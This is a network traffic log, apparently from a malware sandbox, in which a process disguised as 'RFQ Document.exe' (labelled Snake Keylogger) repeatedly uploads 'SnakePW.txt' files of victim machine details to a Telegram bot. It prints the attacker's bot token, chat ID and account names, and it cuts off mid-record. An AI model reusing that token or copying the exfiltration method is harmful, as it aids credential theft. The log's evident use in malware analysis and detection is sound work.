Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49791	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:24 UTC	26	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c3d6b706 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:24 UTC	27	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 33 64 36 62 37 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c3d6b706Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:24 UTC	27	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:24 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:24 UTC	28	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12597,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808704,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.4	49988	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:09 UTC	272	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255deca8634 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:09 UTC	272	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 65 63 61 38 36 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255deca8634Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:09 UTC	272	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:09 UTC	273	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12759,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808749,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.4	49991	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:09 UTC	273	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dee894c0 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:09 UTC	273	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 65 65 38 39 34 63 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dee894c0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:09 UTC	274	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:09 UTC	274	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12760,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808749,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.4	49992	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:09 UTC	275	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255df063068 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:09 UTC	275	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 66 30 36 33 30 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255df063068Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:09 UTC	275	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:09 UTC	276	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12761,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808749,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.4	49993	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:09 UTC	276	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255df235a04 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:09 UTC	277	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 66 32 33 35 61 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255df235a04Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:09 UTC	277	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:09 UTC	277	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12762,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808749,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.4	49994	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:11 UTC	278	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255df4279f6 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:11 UTC	278	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 66 34 32 37 39 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255df4279f6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:11 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:11 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:11 UTC	279	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12763,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808751,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.4	49996	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:11 UTC	280	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dffbb2a4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:11 UTC	280	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 66 66 62 62 32 61 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dffbb2a4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:11 UTC	280	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:11 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:11 UTC	281	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12764,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808751,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.4	49997	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:11 UTC	281	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e01f7428 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:11 UTC	281	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 30 31 66 37 34 32 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 